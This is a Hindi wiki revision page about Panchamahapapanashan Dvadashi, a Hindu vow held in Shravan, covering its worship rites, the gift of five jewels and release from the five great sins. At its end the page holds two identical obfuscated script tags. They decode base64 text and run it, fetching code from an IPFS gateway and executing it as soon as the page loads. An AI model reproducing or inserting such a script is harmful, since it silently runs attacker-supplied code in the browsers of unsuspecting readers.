पंचमहापापनाशन द्वादशी: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
आदित्य चौधरी (talk | contribs) m (Text replace - "उल्लखित" to "उल्लिखित") |
व्यवस्थापन (talk | contribs) m (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
||
Line 5: | Line 5: | ||
*जिस प्रकार [[इन्द्र]], [[अहल्या]], सोम एवं बलि पापमुक्त हुए थे, उसी प्रकार व्यक्ति भी पंच महापापों से मुक्त हो जाता है।<ref>हेमाद्रि (व्रतखण्ड 1, 1201-1202, [[भविष्य पुराण]] से उद्धरण)।</ref> | *जिस प्रकार [[इन्द्र]], [[अहल्या]], सोम एवं बलि पापमुक्त हुए थे, उसी प्रकार व्यक्ति भी पंच महापापों से मुक्त हो जाता है।<ref>हेमाद्रि (व्रतखण्ड 1, 1201-1202, [[भविष्य पुराण]] से उद्धरण)।</ref> | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
Revision as of 09:47, 21 March 2011
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- श्रावण के आरम्भ में होता है।
- श्रावण की द्वादशी एवं पूर्णिमा पर कृष्ण पक्ष के 12 रूपों, यथा–जगन्नाथ, देवकीसुत आदि की पूजा तथा अमावास्या पर तिल, मुद्ग, गुड़ एवं चावल के भोजन का अर्पण किया जाता है।
- पाँच रत्नों (देखिए आगे) का दान दिया जाता है।
- जिस प्रकार इन्द्र, अहल्या, सोम एवं बलि पापमुक्त हुए थे, उसी प्रकार व्यक्ति भी पंच महापापों से मुक्त हो जाता है।[1]
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रतखण्ड 1, 1201-1202, भविष्य पुराण से उद्धरण)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>